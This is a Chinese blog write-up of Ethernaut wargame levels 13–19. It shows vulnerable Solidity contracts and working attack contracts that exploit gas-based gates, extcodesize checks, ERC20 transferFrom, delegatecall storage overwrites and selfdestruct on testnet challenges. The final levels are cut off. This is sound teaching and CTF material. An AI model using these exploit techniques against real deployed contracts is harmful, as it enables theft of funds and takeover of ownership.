Ethernaut靶场刷题记录(13-19)
author:Thomas_Xu
13 Gatekeeper One
这关主要是考查对solidity合约基础知识的了解。
先看代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
题目想要我们执行enter方法,并且要通过三个修饰器的检查。
我们把三个修饰器分开来分析:
- require(msg.sender != tx.origin);
这个条件我们再之前做题的时候遇到过,只需要再调用函数时增加一个中间函数,就可以使msg.sender != tx.origin
- require(gasleft().mod(8191) == 0);这个条件会比较麻烦一点,gasleft函数返回的是交易剩余的gas量,所以我们只要让gas为8191*n+x即可,其中x为我们此次交易所消耗的gas。理论上来讲可以通过debug得到,但是由于不知道目标合约的编译器版本,所以无法精准得到这个值。但我们可以通过gas爆破来解决。毕竟gas毕竟是在一个范围区间之中的。
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
这个条件要求我们先了解solidity中类型转换的规则参考链接
这里以_gateKey是0x12345678deadbeef为例说明- uint32(uint64(_gateKey))转换后会取低位,所以变成0xdeadbeef,uint16(uint64(_gateKey))同理会变成0xbeef,uint16和uint32在比较的时候,较小的类型uint16会在左边填充0,也就是会变成0x0000beef和0xdeadbeef做比较,因此想通过第一个require只需要找一个形为0x????????0000????这种形式的值即可,其中?是任取值。
- 第二步要求双方不相等,只需高4个字节中任有一个bit不为0即可
- 通过前面可知,uint32(uint64(_gateKey))应该是类似0x0000beef这种形式,所以只需要让最低的2个byte和tx.origin地址最低的2个byte相同即可,也就是,key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址
攻击合约:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperOne {
function entrant() external returns (address);
function enter(bytes8 _gateKey) external returns (bool);
}
contract attack {
GatekeeperOne gatekeeperOne;
address target;
address entrant;
event log(bool);
event logaddr(address);
constructor(address _addr) public {
// 设置为题目地址
target = _addr;
}
function exploit() public {
// 后四位是metamask上账户地址的低2个字节
bytes8 key=0xAAAAAAAA0000Ff67;
bool result;
for (uint256 i = 0; i < 120; i++) {//gas爆破
(bool result, bytes memory data) = address(target).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
emit log(result);
}
function getentrant() public {
gatekeeperOne = GatekeeperOne(target);
entrant = gatekeeperOne.entrant();
emit logaddr(entrant);
}
}解题步骤
执行exploit方法后执行getentrant,可以在交易详细中看到提交上来的事务中address已经为我们的地址。通关
Gatekeeper Two
在做了第一道守门人后,这道题目看起来就easy很多了
先看代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
一样的有三个函数修饰器需要满足,我们依旧分开来说
- require(msg.sender != tx.origin);
这个和上一个的第一个条件一样,不再赘述,建一个合约就行。 uint x
assembly { x := extcodesize(caller()) }
require(x == 0);
这里涉及到了solidity中的汇编语言,参考文档,在这里caller
是调用的发起者,extcodesize(a)
会返回地址 a 的代码大小。
关于这点,需要使用一个特性绕过:当合约正在执行构造函数constructor并部署时,其extcodesize为0。换句话说,如果我们在constructor中调用这个函数的话,那么extcodesize(caller())返回0,因此可以绕过检查。require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
这个条件其实就是一个简单的异或,我们只需要反过来异或一次算出来的结果就是key
攻击合约:1
2
3
4
5
6
7
8
9
10
11pragma solidity ^0.6.0;
contract attack{
address target;
constructor(address _adr) public{
target = _adr;
bytes8 password = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
target.call(abi.encodeWithSignature("enter(bytes8)",password));
}
}
15 Naught Coin
这关考查对ERC20的了解
先看代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20('NaughtCoin', '0x0') public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
光看这个函数修饰器是没有漏洞可言的,但问题是,ERC20有两个转账函数,题目中只对transfer
这一个函数做了修饰,也就是说,我们可以使用另一个函数进行转账-transferFrom
- 解题步骤
直接在控制台操作即可,但要注意,在转账操作之前我们需要先approve
val=’1000000000000000000000000’
addr=’0x5B38Da6a701c568545dCfcB03FcB875f56beddC4’- contract.approve(player,val)
- contract.transferFrom(player,addr,val)
16 Preservation
这关是对delegatecall漏洞的考查,大家可以看我对delegatecall的另一篇文章delegatecall杂谈
先看代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40/ SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
由于delegatecall的执行环境是当前合约,所以如果要调用的函数内有修改变量的操作,将会导致自身的对应储存位上的变量被恶意修改,具体可以参考我的另一篇博客。
利用这一点,我们可以实现攻击:1
2
3
4
5
6
7
8
9
10pragma solidity ^0.6.0;
contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
owner = address(_time);
}
由于在perservation里,owner是在第2个存储位,所以我们这里需要两个变量来”占位”,这样就可以做到恶意修改被攻击合约的owner的目的。
- 解题步骤
- 执行
setFirstTime
函数,将我们的攻击合约地址作为参数传进去,可以看到此时timeZone1Library已经变为我们攻击合约的地址。 - 再次执行
setFirstTime
,此时调用的就是我们的攻击合约了,我们只需要把我们自己的地址作为参数传进去,就可以完成攻击。
17 Recovery
这关考查对区块链浏览器的使用和destroy函数
先看代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
题目中给到了一个合约地址,是Recovery
的地址,题目中说创建者通过Recovery创建了一个SimpleToken,然后把地址给忘了,要我们找到这个地址并且把里面的钱弄出来。很容易,通过区块链浏览器就可以找到他创建的SimpleToken
。
在 https://rinkeby.etherscan.io/ 上搜索Recovery的地址,然后我们就可以看到他的创建合约交易,点进去就可以找到合约地址。
得到地址后,我们只需要执行合约的自毁函数即可
攻击合约:1
2
3
4
5
6
7
8
9
10
11
12
13pragma solidity ^0.6.0;
contract attack{
address payable target;
address payable owner;
constructor(address payable _target, address payable _own) public{
target = _target;
owner = _own;
}
function dosome() public {
target.call(abi.encodeWithSignature("destroy(address)",owner));
}
}
在执行dosome()方法的时候最好把交易的gaslimit调高一点,我在执行时如果不调gaslimit是会执行失败的,如图:
18 Magic Number
这是一个考察solidity操作码的题目
先看代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
部署一个只有 10 个 opcode 的合约,该合约在调用后返回 42。
因此我们必须使用字节码手动编写一个程序
19 Alien Codex
又是一道关于内存布局的题目
true
...
...
This is copyright.